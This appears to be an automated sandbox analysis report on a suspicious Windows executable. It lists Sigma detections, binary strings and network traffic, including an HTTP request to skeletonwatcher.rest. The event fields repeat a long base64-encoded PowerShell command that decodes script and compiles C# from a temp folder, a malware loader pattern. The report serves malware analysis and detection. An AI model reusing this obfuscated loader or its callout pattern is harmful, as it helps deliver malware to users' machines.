Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFo

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP", CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP", CommandLine|base64offset|contains: 8c, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline", ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentProcessId: 5928, ParentProcessName: csc.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP", ProcessId: 1352, ProcessName: cvtres.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1228, TargetFilename: C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFo

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\deno\deno\target\release\deps\deno.pdb source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.pdbhP source: powershell.exe, 00000008.00000002.1405004503.00000289C828D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1607906058.0000019F711C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbz source: powershell.exe, 0000000D.00000002.1610250274.0000019F714AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.pdbhP source: powershell.exe, 0000000D.00000002.1552133148.0000019F016DD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: e.pdbD source: powershell.exe, 0000000D.00000002.1610250274.0000019F71492000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbID( source: powershell.exe, 0000000D.00000002.1610250274.0000019F71492000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 6?t.Automation.pdby source: powershell.exe, 0000000D.00000002.1607906058.0000019F7126E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbAc source: powershell.exe, 0000000D.00000002.1610250274.0000019F714D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\symbols\dll\System.Core.pdb6 source: powershell.exe, 00000008.00000002.1429734066.00000289DEEC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1610250274.0000019F714AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.Core.pdb source: powershell.exe, 00000008.00000002.1428309056.00000289DEC60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.pdb source: powershell.exe, 00000008.00000002.1405004503.00000289C828D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.pdb source: powershell.exe, 0000000D.00000002.1552133148.0000019F016DD000.00000004.00000800.00020000.00000000.sdmp

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /api/get/free HTTP/1.1accept: */*user-agent: Deno/1.6.3accept-encoding: gzip, brhost: skeletonwatcher.rest

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: skeletonwatcher.rest

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 02 Jan 2025 08:06:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Thu, 02 Jan 2025 08:07:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QXmR29NQ6%2BHy97j78bTEU2vXKLPNP6aaiy9iaPkNCr16vPDren%2F62NYLIM74610DSeby0SQH4b75%2BycVOjmM%2BFbtL0c%2Fl3HVyIluw57MppcizvolqGP%2Be1q3pRe4umBLP5csqRCQnQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 8fb9408a3bb615bb-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1652&rtt_var=826&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=122&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 63 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 7f 6f dc b8 11 fd 7f 3f c5 58 05 ec 5d c0 94 bc 49 2e e7 d8 5a 15 d7 c4 05 0c a4 b8 dc c5 41 1b 1c 02 83 22 47 2b 9e 29 52 25 a9 95 17 ae bf fb 81 a2 b4 d6 fe b0 af 41 0b 18 b0 28 0e df 0c df bc 19 91 9b 1e 7d f8 f9 fd cd d7 4f 57 50 ba 4a 66 93 f4 88 90 df 44 01 d2 c1 f5 15 fc f8 2d 83 d4 4f 00 93 d4 da 45 a4 34 f9 dd 82 c0 b7 a0 25 17 18 81 a4 6a b9 88 50 91 2f 9f a3 0c d2 a3 df 50 71 51 7c 23 e4 09 aa c7 01 38 0c f5 e3 f7 41 9d bf 00 75 fe 1d 50 4b d7 a3 f9 17 87 76 b9 8f 42 c8 36 52 89 94 67 93 d4 09 27 31 fb c9 39 54 4e 68 05 bf e2 bf 1b 61 90 1f c1 7f e0 bd d4 0d 2f 24 35 98 26 c1 6e 92 56 e8 28 b0 92 1a 8b 6e 11 7d b9 f9 3b 39 8f 20 19 26 4a e7 6a e2 11 56 8b e8 bd 56 1e 94 dc ac 6b 8c 80 85 d1 22 72 78 ef 12 1f ef e5 06 e6 25 94 